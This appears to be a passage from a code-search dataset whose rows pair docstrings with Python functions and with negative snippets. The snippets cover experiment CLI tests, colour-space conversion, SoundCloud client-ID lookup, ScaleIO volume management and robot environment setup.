query
stringlengths
9
9.05k
document
stringlengths
10
222k
metadata
dict
negatives
listlengths
30
30
negative_scores
listlengths
30
30
document_score
stringlengths
4
10
document_rank
stringclasses
2 values
Runs `det experiment describe` CLI command on a finished experiment. Will raise an exception if `det experiment describe` encounters a traceback failure.
def run_describe_cli_tests(experiment_id: int) -> None: # "det experiment describe" without metrics. with tempfile.TemporaryDirectory() as tmpdir: subprocess.check_call( [ "det", "-m", conf.make_master_url(), "experiment", ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def describe():", "def describe(self, *args, **kwargs):\n\t\treturn self.data.describe(*args, **kwargs)", "def test_describe_model(self):\n\t\tdetails = self.watcher.describe()\n\t\tprint(details)\n\t\tself.assertEqual(len(details), 11)", "def test_recognize_describe(self):\n pass", "def test_descri...
[ "0.5586464", "0.5564415", "0.5341794", "0.5270411", "0.5181873", "0.5082891", "0.5071718", "0.50258327", "0.50245225", "0.4985327", "0.49451223", "0.49108976", "0.48686293", "0.48666832", "0.48470518", "0.48347655", "0.4822859", "0.47746998", "0.47700247", "0.47659424", "0.47...
0.7508023
0
Runs listrelated CLI commands on a finished experiment. Will raise an exception if the CLI command encounters a traceback failure.
def run_list_cli_tests(experiment_id: int) -> None: subprocess.check_call( ["det", "-m", conf.make_master_url(), "experiment", "list-trials", str(experiment_id)] ) subprocess.check_call( ["det", "-m", conf.make_master_url(), "experiment", "list-checkpoints", str(experiment_id)] ) s...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_pre_cli_list(run):\n out, err = run(dork.cli.the_predork_cli, [], *(\"\", \"-l\"))\n assert \"test.yml\" in out, \\\n \"Failed run the dork.cli.the_predork_cli method: {err}\"\\\n .format(err=err)", "def command_list(self, command):\n\n # See if the list exists and return resu...
[ "0.61308813", "0.59608287", "0.5957649", "0.58396363", "0.5808478", "0.5768765", "0.57584125", "0.5753735", "0.5732263", "0.56613624", "0.56290406", "0.56156904", "0.5615358", "0.5497544", "0.5480825", "0.5480825", "0.5471782", "0.5451167", "0.54397607", "0.54342854", "0.5424...
0.7019173
0
Handle all options in the arguments. This function returns a dictionary contain 'input_pkg' and 'output_pkg' keywords.
def handle_arguments(): result = {'input_pkg':'', 'output_pkg':''} try: args = sys.argv[1:] optlist = gnu_getopt(args, 'h', ['help']) except GetoptError: print 'Error when parsing arguments.' more_informations() if len(sys.argv) < 2: print 'No input file.' ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def processArgs(printHelp=False):\n parser = OptionParser()\n\n parser.add_option('-i', '--input',\n dest='input',\n help='Name of the latex file, for example, document.tex',\n metavar='string')\n parser.add_option('-o', '--output',\n ...
[ "0.5959439", "0.5875722", "0.5843192", "0.5764533", "0.5762908", "0.57036674", "0.5702611", "0.56741303", "0.56671953", "0.5666019", "0.56415075", "0.5633455", "0.5577047", "0.55590963", "0.5546385", "0.55420923", "0.5530415", "0.55239266", "0.5492701", "0.5489848", "0.547874...
0.8013772
0
Get a message to speak on first load of the skill. Useful for postinstall setup instructions.
def get_intro_message(self): self.speak_dialog("thank.you") return None
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def speak(message):\n print(message)", "def speak(self):\n print(\"meow!\")", "def speak(self):\n print(\"hello\")", "def install_default_skills(speak=True):\n if exists(MSM_BIN):\n p = subprocess.Popen(MSM_BIN + \" default\", stderr=subprocess.STDOUT,\n s...
[ "0.61970544", "0.59956497", "0.5926281", "0.5872123", "0.58696866", "0.5797025", "0.579132", "0.57152486", "0.5705992", "0.56784135", "0.56503886", "0.5580634", "0.552781", "0.55209553", "0.55069524", "0.5461222", "0.54496735", "0.5446346", "0.5446035", "0.54340476", "0.54330...
0.6545299
0
Handle conversation. This method gets a peek at utterances before the normal intent handling process after a skill has been invoked once. To use, override the converse() method and return True to indicate that the utterance has been handled.
def converse(self, utterances, lang="en-us"): # check if game was abandoned midconversation and we should clean it up self.maybe_end_game() if self.playing: ut = utterances[0] # if self will trigger do nothing and let intents handle it if self.will_trigger(ut)...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def handle_converse_request(message):\n skill_id = int(message.data[\"skill_id\"])\n utterances = message.data[\"utterances\"]\n lang = message.data[\"lang\"]\n global ws, loaded_skills\n # loop trough skills list and call converse for skill with skill_id\n for skill in loaded_skills:\n if...
[ "0.607286", "0.60394377", "0.59018356", "0.5812541", "0.5732079", "0.5696963", "0.56619567", "0.56086385", "0.5504005", "0.54966825", "0.54938865", "0.5492362", "0.5490855", "0.54654175", "0.5454416", "0.5349049", "0.5348369", "0.53459346", "0.5345559", "0.53378665", "0.53232...
0.66725177
0
Creates a git commit message template for cases currently assigned to you.
def do_jira_case_commit_message(self, arg): cases = [(issue.key, issue.fields.summary, self.jira_url() + "/browse/" + issue.key) for issue in self.get_open_issues()] msg = """ -------------------------------------------------------------------- [{}] {} <msg> {} ------------------------...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _generate_commit(\n self, msg: Optional[str] = None, author: Optional[str] = None\n ) -> dict:\n if author:\n mes_author = author\n else:\n mes_author = self._author\n if not msg:\n msg = f\"Commit via python client {__version__}\"\n ci = {...
[ "0.58265114", "0.56810087", "0.56475306", "0.54282033", "0.53819776", "0.5301259", "0.52773494", "0.5231186", "0.5216202", "0.5213242", "0.5183639", "0.517318", "0.5149136", "0.5134215", "0.512786", "0.5119132", "0.5117917", "0.50955975", "0.50477743", "0.5016975", "0.5010600...
0.5991317
0
lambda function handler for getting trash day
def lambda_handler(event, context) -> dict: logging.info('Starting function with context=%s and event=%s', context, event) date = event['date'] holiday_schedule = trash_schedule_service.get_schedule() trash_day = trash.next_trash_day(date, holiday_schedule) logging.info('Completed function with res...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lambda_handler(event, context):\n logging.info('Starting function with context=%s and event=%s', context, event)\n holiday_schedule = trash.holidayschedule()\n old_holiday_schedule = trash_service.list()['data']\n old_holidays = [old_holiday['name'] for old_holiday in old_holiday_schedule]\n log...
[ "0.6090012", "0.54774374", "0.5461324", "0.5409436", "0.53761524", "0.53742063", "0.5331051", "0.5287995", "0.51901144", "0.5178555", "0.5161938", "0.5114322", "0.5079114", "0.50751776", "0.5070596", "0.50560266", "0.50401527", "0.50214356", "0.49688548", "0.49537805", "0.495...
0.74920136
0
Convert an image from LAB color space to XYZ color space
def lab_to_xyz(image: tf.Tensor) -> tf.Tensor: l, a, b = tf.unstack(image, axis=-1) var_y = (l + 16) / 116 var_x = a / 500 + var_y var_z = var_y - b / 200 var_x = tf.where(tf.pow(var_x, 3) > 0.008856, tf.pow(var_x, 3), (var_x - 16 / 116) / 7.787) var_y = tf.where(tf.pow(var...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def Lab_to_XYZ(cobj, *args, **kwargs):\r\n\r\n illum = cobj.get_illuminant_xyz()\r\n xyz_y = (cobj.lab_l + 16.0) / 116.0\r\n xyz_x = cobj.lab_a / 500.0 + xyz_y\r\n xyz_z = xyz_y - cobj.lab_b / 200.0\r\n \r\n if math.pow(xyz_y, 3) > color_constants.CIE_E:\r\n xyz_y = math.pow(xyz_y, 3)\r\n ...
[ "0.72538626", "0.6935359", "0.6835545", "0.6804529", "0.6711759", "0.66599464", "0.6521106", "0.64231324", "0.6351376", "0.63161516", "0.62939584", "0.62429935", "0.6191677", "0.6155172", "0.6133433", "0.60679656", "0.605217", "0.600619", "0.6003839", "0.5994653", "0.5972754"...
0.72095025
1
Convert an image from XYZ color space to RGB color space
def xyz_to_rgb(image: tf.Tensor) -> tf.Tensor: x, y, z = tf.unstack(image, axis=-1) var_x = x / 100 var_y = y / 100 var_z = z / 100 var_r = var_x * 3.2406 + var_y * -1.5372 + var_z * -0.4986 var_g = var_x * -0.9689 + var_y * 1.8758 + var_z * 0.0415 var_b = var_x * 0.0557 + var_y * -0.2040 +...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def XYZ_to_RGB(XYZ,\n illuminant_XYZ,\n illuminant_RGB,\n XYZ_to_RGB_matrix,\n chromatic_adaptation_transform='CAT02',\n encoding_cctf=None):\n\n M = chromatic_adaptation_matrix_VonKries(\n xyY_to_XYZ(xy_to_xyY(illuminant_XYZ)),\n ...
[ "0.6828028", "0.68103015", "0.68066865", "0.6763418", "0.66843706", "0.66742265", "0.66261303", "0.65840024", "0.6561155", "0.6552539", "0.64690375", "0.645088", "0.63681024", "0.6365761", "0.63621247", "0.6326144", "0.6306346", "0.6306079", "0.6283632", "0.6256421", "0.62433...
0.7146014
0
Convert an image from RGB color space to XYZ color space
def rgb_to_xyz(image: tf.Tensor) -> tf.Tensor: r, g, b = tf.unstack(image, axis=-1) var_r = r / 255 var_g = g / 255 var_b = b / 255 var_r = tf.where(var_r > 0.04045, tf.pow((var_r + 0.055) / 1.055, 2.4), var_r / 12.92) var_g = tf.where(var_g > 0.04045, tf.pow((var_g + 0.055...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rgb_to_xyz(rgb_color):\n\n r = (rgb_color[0] / 255)\n g = (rgb_color[1] / 255)\n b = (rgb_color[2] / 255)\n\n if r > 0.04045:\n r = ((r + 0.055) / 1.055) ** 2.4\n else:\n r = r / 12.92\n\n if g > 0.04045:\n g = ((g + 0.055) / 1.055) ** 2.4\n else:\n g = g / 12.9...
[ "0.6907906", "0.6867097", "0.68299574", "0.66412497", "0.66398394", "0.65136164", "0.6503859", "0.6343428", "0.6280779", "0.6266033", "0.62629265", "0.620036", "0.61658543", "0.6152105", "0.60904413", "0.6024829", "0.5986624", "0.59797454", "0.597226", "0.5968314", "0.5912936...
0.7601516
0
Convert an image from RGB color space to LAB color space RGB > XYZ > LAB
def rgb_to_lab(image: tf.Tensor) -> tf.Tensor: xyz = rgb_to_xyz(image) lab_image = xyz_to_lab(xyz) return lab_image
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lab_to_rgb(image: tf.Tensor) -> tf.Tensor:\n xyz = lab_to_xyz(image)\n rgb_image = xyz_to_rgb(xyz)\n return rgb_image", "def lab_to_rgb(img):\n new_img = np.zeros((256, 256, 3))\n for i in range(len(img)):\n for j in range(len(img[i])):\n pix = img[i, j]\n new_img[...
[ "0.76128566", "0.736024", "0.7093746", "0.70733243", "0.688894", "0.67929274", "0.67809963", "0.6703727", "0.66217625", "0.6567671", "0.6539482", "0.6528808", "0.6519189", "0.64457124", "0.64197767", "0.63783777", "0.637468", "0.630608", "0.6248861", "0.6204791", "0.618432", ...
0.7743007
0
Convert an image from LAB color space to RGB color space LAB > XYZ > RGB
def lab_to_rgb(image: tf.Tensor) -> tf.Tensor: xyz = lab_to_xyz(image) rgb_image = xyz_to_rgb(xyz) return rgb_image
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lab_to_rgb(img):\n new_img = np.zeros((256, 256, 3))\n for i in range(len(img)):\n for j in range(len(img[i])):\n pix = img[i, j]\n new_img[i, j] = [(pix[0] + 1) * 50, (pix[1] + 1) / 2 * 255 - 128, (pix[2] + 1) / 2 * 255 - 128]\n new_img = color.lab2rgb(new_img) * 255\n ...
[ "0.7471666", "0.7259688", "0.7216436", "0.6839209", "0.6759264", "0.67525685", "0.67007047", "0.6603421", "0.6600922", "0.6595562", "0.6580605", "0.6568346", "0.6499439", "0.64541537", "0.64526325", "0.6431422", "0.63929", "0.6372881", "0.63197166", "0.6308842", "0.63075536",...
0.7765698
0
Checks if the given character is a letter.
def is_letter(c): return 'A' <= c <= 'Z' or 'a' <= c <= 'z'
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_letter(string_):\n if string_ not in string.ascii_letters or len(string_) > 1:\n return False\n return True", "def isLetter(c):\n ret = libxml2mod.xmlIsLetter(c)\n return ret", "def is_letter(user_input):\n # If any characters is letter -> return boolean True else False\n if any...
[ "0.8101875", "0.7942589", "0.77772945", "0.7760421", "0.7488684", "0.7349609", "0.7162389", "0.7131679", "0.7119435", "0.71050584", "0.7094554", "0.70823413", "0.70609343", "0.7013201", "0.69936603", "0.69796395", "0.6963873", "0.6928611", "0.6889942", "0.68720996", "0.683491...
0.84225947
0
Checks if the given character is a number.
def is_number(c): return '0' <= c <= '9'
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_num_char(x):\n return ord('0') <= ord(x) <= ord('9')", "def is_number_char(c: str) -> bool:\n return c.isdigit() or c == \".\"", "def is_number(s):\r\n try:\r\n int(s)\r\n return True\r\n except ValueError:\r\n return False", "def is_number(s):\n try:\n int(s...
[ "0.8297935", "0.80840826", "0.7704204", "0.76546836", "0.75744826", "0.7568717", "0.7393754", "0.73098946", "0.7302559", "0.7258665", "0.72420657", "0.7230359", "0.7195663", "0.71815383", "0.7179277", "0.7152408", "0.71477836", "0.71332264", "0.71325856", "0.71297145", "0.712...
0.82398206
1
Checks if the given nametag is valid, that it only contains letters, numbers, dashes, underscores and apostrophes. It must also start with the given tags in `Tags.py `. And returns the nametag if it is valid.
def get_nametag(nametag): # start must be valid if not nametag.startswith(Tags.NAMETAG_START.value): return None # removes the start of the tag nametag = nametag[len(Tags.NAMETAG_START.value):] # end must be valid if not nametag.endswith(Tags.NAMETAG_END.value): return None ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def isValidTagName(s):\n if s.lower().startswith(\"xml\"):\n return False\n return re.match(\"[^\\W\\d][\\w\\-_.]*\", s)", "def name_valid(name):\n return name.isalpha()", "def validname(name):\r\n return len(name)>0 and (\r\n Context.__invalid_character.search(name) is None)"...
[ "0.7056981", "0.6984154", "0.6797562", "0.65576094", "0.65357757", "0.6507386", "0.6452223", "0.63574183", "0.6310293", "0.6288627", "0.62855893", "0.6240301", "0.62214375", "0.61912215", "0.6171858", "0.615459", "0.61444604", "0.6139254", "0.6049716", "0.6022824", "0.5989654...
0.7059107
0
Checks whether the given nametag is reachable by another branch or not. This means that the given nametag must appear in at least one branch as an end tag.
def is_nametag_reachable(nametag, branches): for branch in branches: for next_nametag in branches[branch].next_nametags: if next_nametag == nametag: return True return False
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid_branches(branches):\n\n # for every branch in the list\n for branch in branches:\n\n # make sure it is either reachable or has the special tag \"start\"\n if branches[branch].name != \"start\" and not is_nametag_reachable(branches[branch].name, branches):\n return False\n\n...
[ "0.6780454", "0.67798984", "0.61064994", "0.555332", "0.54905283", "0.5410261", "0.5404235", "0.5332533", "0.52437496", "0.52371407", "0.5203334", "0.5191445", "0.5187049", "0.5181029", "0.5169189", "0.51587147", "0.51385343", "0.5123286", "0.50983757", "0.50803226", "0.50749...
0.79997444
0
Checks whether the given nametag is indeed labelling a branch.
def branch_exists(nametag, branches): for branch in branches: if branches[branch].name == nametag: return True return False
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_nametag_reachable(nametag, branches):\n for branch in branches:\n for next_nametag in branches[branch].next_nametags:\n if next_nametag == nametag:\n return True\n return False", "def _is_branch(self, reference_name):\n return reference_name.startswith(\"refs/...
[ "0.715576", "0.7042534", "0.6742809", "0.67223674", "0.6595517", "0.6064686", "0.6029496", "0.6010573", "0.59576434", "0.5933389", "0.58508664", "0.58427274", "0.584109", "0.582408", "0.58061534", "0.5799144", "0.5777416", "0.5758434", "0.5737931", "0.5732576", "0.5721581", ...
0.7622634
0
Checks that the given branches are valid (every single branch is supposed valid). The idea here is to make sure that every ending nametag leads to another branch and that every branch is reachable.
def valid_branches(branches): # for every branch in the list for branch in branches: # make sure it is either reachable or has the special tag "start" if branches[branch].name != "start" and not is_nametag_reachable(branches[branch].name, branches): return False # make sur...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _check_branches(num_branches, num_blocks, in_channels, num_channels):\n if num_branches != len(num_blocks):\n error_msg = f'NUM_BRANCHES({num_branches}) != NUM_BLOCKS({len(num_blocks)})'\n raise ValueError(error_msg)\n if num_branches != len(num_channels):\n error...
[ "0.6998986", "0.66559356", "0.64833444", "0.6398546", "0.62924314", "0.6202438", "0.6100306", "0.6061971", "0.60214883", "0.5950823", "0.57404685", "0.5680982", "0.56484795", "0.5646791", "0.56122196", "0.5460472", "0.5450381", "0.54337895", "0.5420128", "0.54145825", "0.5402...
0.838676
0
Small helper for writing to stdout and flushing it, intended to make terminal output more compact and responsive.
def stdout(msg): sys.stdout.write(msg) sys.stdout.flush()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pflush(*args, **kwargs):\n print(*args, **kwargs)\n sys.stdout.flush()", "def write(msg, newline=True, flush=True):\n sys.stdout.write(msg)\n if newline:\n sys.stdout.write(\"\\n\")\n if flush:\n sys.stdout.flush()", "def print_flush(msg):\n print(msg, end='')\n sys.stdou...
[ "0.7578872", "0.7356564", "0.7139393", "0.7095517", "0.7022346", "0.67478865", "0.67162675", "0.6707451", "0.6658429", "0.66203755", "0.65573883", "0.6525697", "0.64456743", "0.64306766", "0.64306766", "0.6427846", "0.6423618", "0.6415727", "0.640634", "0.63921225", "0.632977...
0.74203354
1
Fetches the soundcloud.com main page, looks for the 'app' js file and tries to pull a client_id out of that. Returns None on failure or a string client_id on success.
def find_client_id(): stdout("Attempting to fetch a public soundcloud client ID:\n") stdout(" * Fetching main page... ") response = requests.get("http://www.soundcloud.com") stdout("HTTP %d, %d bytes\n" % (response.status_code, len(response.content))) stdout(" * Locating app.js... ") app_js_url...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_client():\n client = soundcloud.Client(client_id=CLIENT_ID)\n return client", "def client_app_id(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"client_app_id\")", "def check_soundcloud_id(id):\n c_url = ''\n\n try:\n page = sync.get_page(SOUNDCLOUD_BASE_URL +...
[ "0.58945185", "0.5666564", "0.54652476", "0.5451408", "0.539826", "0.5342123", "0.53111964", "0.5309336", "0.528899", "0.52842605", "0.5255024", "0.5202958", "0.5173291", "0.5158253", "0.5108697", "0.5082016", "0.50815004", "0.50447154", "0.50221217", "0.49919608", "0.4989508...
0.8254922
0
return a new series which the mean is 0 and variance is 1
def SeriesStandard(series): mean = np.mean(series) variance = np.var(series) series = (series-mean)/variance return series
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def var(self) -> \"Stream[float]\":\n return self.agg(lambda x: np.var(x, ddof=1)).astype(\"float\")", "def variance(self):\n return 1 / self.count() * sum((number-self.average())**2 for number in self.numbers)", "def mean(vals):", "def zero_mean_unit_variance(Data):\n Mean = numpy.mean(Data...
[ "0.6331923", "0.60499734", "0.5981126", "0.59652394", "0.5938104", "0.5921124", "0.58709556", "0.58616686", "0.58051085", "0.57974374", "0.579102", "0.57625544", "0.5762502", "0.5761699", "0.57592386", "0.57551837", "0.5746474", "0.57087433", "0.5698675", "0.56976444", "0.569...
0.64050394
0
Switch with mv_all, was inversed with mv_step.
def mv_step(self): # def mv_all(self): self.device_reg_data &= ~(0x1 << 3) bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mv_all(self):\n # def mv_step(self):\n self.device_reg_data &= ~(0x1 << 2)\n bus.write_byte_data(self.device_address, self.device_reg_mode1, self.device_reg_data)", "def step(self, move):", "def step(self, state):", "def step_forward(self):", "def step(self):\n while self.state ...
[ "0.61674994", "0.597512", "0.5870767", "0.58470446", "0.576566", "0.5624128", "0.560035", "0.5490663", "0.5485842", "0.54782003", "0.5429284", "0.53762597", "0.5370525", "0.53394765", "0.5291796", "0.52729493", "0.52668846", "0.5265301", "0.5239564", "0.5236908", "0.5234921",...
0.6441095
0
return the specific pkt statistic (int) of the given address (str) and name of stat (str)
def get_stat(address, stat): base_url = 'https://pkt.cash/api/v1/PKT/pkt/address/' request_url = base_url + address addrStats = url_to_dict(request_url) return int(addrStats[stat])
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_stat(self, name: str) -> int:\n return self._mallctl(f\"stats.{name}\")", "def get_player_stats_name(self, player_name):\n status, data = self._get_player_game_stats(player_id=self._player_dict[player_name]['PlayerID'])\n return status, data.decode(\"utf-8\")", "def getShort(self, ...
[ "0.66505015", "0.5510597", "0.5497371", "0.5400981", "0.5397578", "0.538371", "0.52910346", "0.52851224", "0.5273926", "0.5184255", "0.51780534", "0.51542836", "0.51154304", "0.51121444", "0.51022923", "0.50941217", "0.50751036", "0.5028282", "0.5005922", "0.49972942", "0.498...
0.83788157
0
Convenience method that round input to valid ScaleIO Volume size (8GB increments)
def is_valid_volsize(self,volsize): if type(volsize) is int: size_temp = divmod(volsize, 8192) if size_temp[1] > 0: # If not on 8GB boundary return int((1 + size_temp[0]) * 8192) # Always round to next 8GB increment else: return int(volsize)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ensure_size(value):\n return int(round(value * 1.0 / base)) * base", "def round_volume(volume, ndigits):\n return ul(round(volume.to('microliter').magnitude,ndigits))", "def convertFromBytes(size, unit):\n\tif (unit == 'kb'):\n\t\treturn size / 10000\n\telif (unit == 'mb'):\n\t\treturn size / 100...
[ "0.6768083", "0.6544661", "0.6347236", "0.6286869", "0.628502", "0.628502", "0.628502", "0.62824434", "0.6250458", "0.61724716", "0.6168352", "0.6118886", "0.6084759", "0.6077484", "0.60627866", "0.60627866", "0.6033113", "0.5994688", "0.5991111", "0.59894925", "0.59884065", ...
0.6986386
0
removeMode = 'ONLY_ME' | 'INCLUDING_DESCENDANTS' | 'DESCENDANTS_ONLY' | 'WHOLE_VTREE' Using kwargs it will be possible to tell delete_volume() to unmap all SDCs before delting. Not working yet
def delete_volume(self, volObj, removeMode='ONLY_ME', **kwargs): if kwargs: for key, value in kwargs.iteritems(): if key =='autoUnmap' and value ==True: # Find all mapped SDS to this volObj # Call unmap for all of them if se...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_export(self, context, volume):\n pass", "def delete(self):\n for lv in self.logical_volumes:\n self.delete_lv(lv_name=lv)\n\n super().delete()", "def test_aws_service_api_volume_delete(self):\n pass", "def snap_remove(packages, *flags):\n if type(packages)...
[ "0.59390444", "0.5883608", "0.5831495", "0.5830611", "0.5827789", "0.5799781", "0.57569474", "0.57451755", "0.572967", "0.5713216", "0.570987", "0.570987", "0.570987", "0.570987", "0.5687949", "0.56447387", "0.5636559", "0.56025016", "0.55944437", "0.55915767", "0.55571306", ...
0.681984
0
Get ScaleIO Volume object by its ID
def get_volume_by_id(self, id): for vol in self.conn.volumes: if vol.id == id: return vol raise KeyError("Volume with ID " + id + " not found")
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_volume_from_id(item_id):\n return volumes[\"data\"][str(item_id)]", "def volume_get(context, volume_id):\n return _volume_get(context, volume_id)", "def find_volume(self, id: str) -> dto.Volume:\n raise errors.UnsupportedOperationError(\n \"Operation not supported for provider '...
[ "0.7770249", "0.76687425", "0.74675375", "0.7118734", "0.7027858", "0.6990481", "0.67697716", "0.6507782", "0.6490982", "0.6345176", "0.631454", "0.6314275", "0.616623", "0.6155505", "0.61281794", "0.61262006", "0.60813826", "0.6076707", "0.6064813", "0.60254", "0.5993264", ...
0.7940494
0
Get ScaleIO Volume object by its Name
def get_volume_by_name(self, name): for vol in self.conn.volumes: if vol.name == name: return vol raise KeyError("Volume with NAME " + name + " not found")
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_volume_from_name(item_name):\n item_id = get_id_from_name(item_name)\n return get_volume_from_id(item_id)", "def volume():\n vol = sonos.volume\n return vol", "def get_volume(self, volume):\n return self._get(_volume.Volume, volume)", "def get_volumeslice( volume_name, slice_name )...
[ "0.75305146", "0.69920236", "0.6730676", "0.6723948", "0.6496563", "0.643003", "0.6369791", "0.6362524", "0.62434006", "0.62258524", "0.6180109", "0.608432", "0.60701185", "0.6064235", "0.605456", "0.60444987", "0.6015984", "0.6015984", "0.59529024", "0.59277195", "0.59163225...
0.7781022
0
Get list of SDC mapped to a specific volume
def get_sdc_for_volume(self, volObj): sdcList = [] if volObj.mapped_sdcs is not None: for sdc in volObj.mapped_sdcs: sdcList.append(sdc) if len(sdcList) == 0: self.conn.logger.debug("No SDCs mapped to volume: %s-(%s)" % (volObj.name, volObj.id)) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_device_map():\n ret = []\n vlist = subprocess.check_output(['ceph-volume', 'lvm', 'list',\n '--format=json'])\n for osd_id, data in json.loads(vlist.decode('utf8')).items():\n osd_id = normalize_osd_id(osd_id)\n for elem in data:\n for d...
[ "0.6761455", "0.6402484", "0.6302538", "0.625908", "0.62256217", "0.6195324", "0.6118881", "0.59791917", "0.595759", "0.59439385", "0.59184736", "0.584555", "0.581235", "0.5800224", "0.5754875", "0.57339233", "0.5706948", "0.5706084", "0.56977904", "0.56800914", "0.5660114", ...
0.7416448
0
Verifies the password and verify password matches.
def verify_match(password, verify): return password == verify
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verify_password(self, password):\n return check_password_hash(self.password_hash, password)", "def test_password_verification(self):\n self.user.password = '123456'\n self.assertTrue(self.user.verify_password('123456'))\n self.assertFalse(self.user.verify_password('password'))", "de...
[ "0.8170263", "0.7866674", "0.7849448", "0.7771099", "0.7748505", "0.7726481", "0.77033484", "0.7687431", "0.7640428", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7635844", "0.7579744", "0.7566419", "0.74769354", "0.74679476", "0.74629104",...
0.8035081
1
Fallback attribute getter. It enables to get access to the attribute and methods of the lowlevel Simulator directly, without having to do it through `simulator`.
def __getattr__(self, name: str) -> Any: return getattr(self.__getattribute__('simulator'), name)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __getattr__(self, attr): # or does it ?\n return self.X[attr]", "def __getattr__(self, name: str) -> Any:\n return self.__getattribute__(name)", "def __getattribute__(self, attr):\n if attr in ('make_rdm1s', 'spin_square', 'contract_2e',\n 'absorb_h1e...
[ "0.67445457", "0.6710345", "0.66448665", "0.66448665", "0.65809125", "0.6559927", "0.6550173", "0.65467125", "0.6515998", "0.64669317", "0.6441641", "0.6401199", "0.6396703", "0.6377469", "0.6359223", "0.63081247", "0.630343", "0.62833256", "0.62700075", "0.6269952", "0.62437...
0.6841757
0
Configure the action space of the environment. The action is a vector gathering the torques of the actuator of the robot.
def _initialize_action_space(self) -> None: # Get effort limit command_limit = self.robot.command_limit # Replace inf bounds of the effort limit if requested if self.enforce_bounded_spaces: for motor_name in self.robot.motors_names: motor = self.robot.get_mot...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_up_continuous_action_space(self):\n self.action_space = gym.spaces.Box(shape=(self.action_dim,),\n low=-1.0,\n high=1.0,\n dtype=np.float32)\n self.action_high = self....
[ "0.6897351", "0.6872064", "0.6778322", "0.6433614", "0.62521344", "0.6221735", "0.61467814", "0.6123499", "0.61089486", "0.60900205", "0.60286", "0.60075194", "0.5947461", "0.5933904", "0.5894918", "0.58863795", "0.584985", "0.57926476", "0.5792396", "0.57770336", "0.57563627...
0.706857
0
Returns a neutral valid configuration for the robot. The default implementation returns the neutral configuration if valid, the "mean" configuration otherwise (right in the middle of the position lower and upper bounds).
def _neutral(self) -> np.ndarray: # Get the neutral configuration of the actual model qpos = neutral(self.robot.pinocchio_model) # Make sure it is not out-of-bounds position_limit_lower = self.robot.position_limit_lower position_limit_upper = self.robot.position_limit_upper ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_default_config(self):\n \n config = {}\n \n # default z_0_hat, zeros, flexible\n config['z_0_hat_option'] = 'flexible'\n config['initial_z_0_hat'] = np.zeros(self.dimension)\n \n # default P_0_hat, identity times a small scalar, flexible\n conf...
[ "0.57778156", "0.55688155", "0.5520987", "0.54586405", "0.5457967", "0.54159516", "0.53503996", "0.5339682", "0.52812344", "0.5193692", "0.5190576", "0.51527995", "0.5146403", "0.5146403", "0.51304436", "0.5123697", "0.51159203", "0.5101688", "0.5077906", "0.5066523", "0.5008...
0.6328567
0
Initialize internal buffers for fast access to shared memory or to avoid redundant computations.
def _initialize_buffers(self) -> None:
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _initialize_mem_buffs():\r\n args = get_args()\r\n\r\n # Initialize memory for checkpointed activations.\r\n if args.distribute_checkpointed_activations:\r\n mpu.init_checkpointed_activations_memory_buffer()\r\n mpu.init_workspace_memory_buffer()\r\n # mpu.init_forward_buffer()\r\...
